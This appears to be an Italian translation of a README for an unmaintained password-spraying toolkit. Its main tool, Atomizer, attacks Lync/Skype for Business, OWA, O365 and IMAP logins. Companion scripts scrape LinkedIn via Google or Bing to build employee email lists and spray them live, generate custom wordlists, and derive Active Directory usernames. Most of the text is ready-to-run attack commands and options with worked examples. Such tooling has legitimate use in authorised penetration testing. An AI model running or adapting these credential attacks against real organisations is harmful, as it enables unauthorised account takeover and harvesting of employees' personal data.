
Script per rendere gli attacchi di password spraying contro Lync/S4B, OWA e O365 molto più rapidi, meno dolorosi e più efficienti.
Questo progetto non è più mantenuto. I seguenti progetti alternativi sono migliori e attivamente mantenuti:
Un insieme di script/utility Python che tenta di rendere gli attacchi di password spraying contro Lync/S4B e OWA molto più rapidi, meno dolorosi e più efficienti.
Vieni a trovarci su Discord!
Installa i prerequisiti con pip3 come segue:
sudo -H pip3 install -r requirements.txt
Oppure usa un ambiente virtuale Python se non vuoi installare i pacchetti a livello globale.
Un password sprayer estremamente veloce per Lync/Skype For Business e OWA, basato su Asyncio e Python 3.7
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
Un porting dell'estensione Burp GatherContacts di @OrOneEqualsOne verso mitmproxy con alcuni miglioramenti.
Estrae da Google e Bing i profili LinkedIn, genera automaticamente email dai nomi dei profili usando il pattern specificato ed esegue password spray in tempo reale.
(Basato su Atomizer)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
Di default email_format è impostato sul pattern {first}.{last} e non è un argomento obbligatorio.
Il parametro domain è il dominio da usare per generare le email dai nomi, il parametro target è il dominio o l'URL su cui eseguire il password spray.
Installa il certificato di mitmproxy, imposta il proxy nel browser, vai su Google e/o Bing e cerca (assicurati di includere /in):
site:linkedin.com/in "Target Company Name"
Le email verranno salvate in emails.txt nel formato specificato e passate ad Atomizer per lo spraying.
Estrae tutto il testo dal sito web target e lo invia ad AWS Comprehend per l'analisi al fine di generare wordlist personalizzate per il password spraying.
Ancora in fase di sviluppo
mitmdump -s aerosol.py --set domain=domain.com
Converte i nomi in nomi utente di Active Directory (es. Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
Legge i nomi da STDIN, --domain viene usato per specificare manualmente il dominio:
cat names.txt | ./spindrift.py --domain CONTOSO
Legge i nomi da names.txt, --target recupera dinamicamente il nome del dominio interno da OWA (puoi indicare un dominio o un URL):
./spindrift.py names.txt --target contoso.com